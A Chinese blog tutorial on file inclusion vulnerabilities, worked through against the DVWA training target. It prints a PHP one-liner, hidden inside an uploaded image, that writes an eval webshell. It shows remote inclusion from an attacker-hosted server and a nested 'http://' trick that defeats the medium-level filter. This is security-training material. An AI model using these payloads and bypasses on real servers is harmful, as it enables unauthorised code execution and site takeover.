文件包含漏洞

文件包含漏洞原理

文件包含本身是正常的,而文件包含漏洞是对文件代码没有检测,包含漏洞就相当于调用了一个库,图片本身没有木马代码,但图片包含一句话编码,在打开图片的时候编码执行并生成webshell的木马文件,图片只是作为一个木马文件上传的媒介。

文件包含有两种
一种是本地包含(LFI):指的是上传的正常文件和木马文件是等同关系,他们都是放在一起的,都在这个同一个本地服务器上,只不过上传文件拥有调用木马功能,本地文件上传是我们找到文件路径上传的。
如同:http://192.168.133.129/dvwa/vulnerabilities/fi/index.php?page=l.php
其中,index.php和l.php是归属同一个本地服务器的。

另一种是远程文件包含(RFI):指的是有另一台机器web sever,它的网站主目录下有木马文件,远程文件包含是服务器主动访问你上传的文件。
如同:
http://192.168.133.129/dvwa/vulnerabilities/fi/index.php?page=http://web_sever/l.php
很显然,他们属于不同服务器

Low级别文件包含漏洞实验

本地文件包含步骤:

  1. 首先,我们制作一句话图片木马 ,木马内容如下
<?fputs(fopen("shell2.php","w"),'<?php eval($_POST[haoye]);?>')?> 
# 图片生成一个名为shell2.php的木马

我们找一张图片,通过edjpg.com这个软件编辑这张图片,把这一段编码编辑进去。
在这里插入图片描述
注意:图片不要太大,太大上传不了。
2. 把图片上传到靶机DVWA中的Upload上,复制图片上传的路径,在File inclusion的页面的URL栏中“page=”后面添加图片的路径,回车可以看到页面乱码出现,说明木马生成。
3. 打开xshell连接靶机,检查upload和File inclusion是否都成功了

root@owaspbwa:~# cd /var/www/dvwa/hackable/uploads/
root@owaspbwa:/var/www/dvwa/hackable/uploads# ls
shell.php  tu.jpg.jpg    
#tu.jpg.jpg是我们上传的图片

root@owaspbwa:/var/www/dvwa/hackable/uploads# cd /var/www/dvwa/vulnerabilities/fi/
# /dvwa/vulnerabilities/fi/可以从文件包含页面的URL栏中得知
 
root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# ls
c.php  help  include.php  index.php  l.text  shell2.php  source
# shell2.php就是一句话代码执行的结果生成的木马文件

root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# cat shell2.php
<?php eval($_POST[haoye]);?>root@owaspbwa:/var/www/dvwa/vulnerabilities/fi# 
# cat 用于查看shell2.php文件的内容
  1. 打开中国蚁剑查询shell2.php是否可编辑,可删除,成功操作的话说明文件包含成功。
    在这里插入图片描述

远程文件包含操作

  1. 建立远程连接的服务器,我们可以用kali linux服务器,启动apache
    在这里插入图片描述
  2. 登录apache页面
    在这里插入图片描述
  3. 接下来要做的就是在这个服务器上放一个可以最终生成木马的文件,建立的目录:/var/www/html,文件名haoye.txt
    在这里插入图片描述
    在这里插入图片描述
  4. 检测这个文件是否能用
    在这里插入图片描述
  5. 将文件包含换成远程路径
    在这里插入图片描述
    回车不会显示乱码,因为它是一个txt文件
  6. 然后,在xshell中检测是否生成
    在这里插入图片描述
  7. 用中国蚁剑检验是否可编辑,可删除之类的,和上面本地包含的一样

Medium级别的文件包含实验

在这里,本地文件包含和low级别的一样,都能上传
但是,远程文件包含有了一定的限制

打开文件包含的页面,view source查看源代码
在这里插入图片描述文件包含时,URL栏中有http://但不起作用了就没法访问到文件

解决办法
在这里插入图片描述
你可以把第二个http://随意穿插拼接进去,使得类似看作连串的http://删除后还能显示http://,这样就可以远程包含了。

High级别的文件包含实验

还是照样view source查看源码
在这里插入图片描述
这里的限制就太死了,就没法做了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值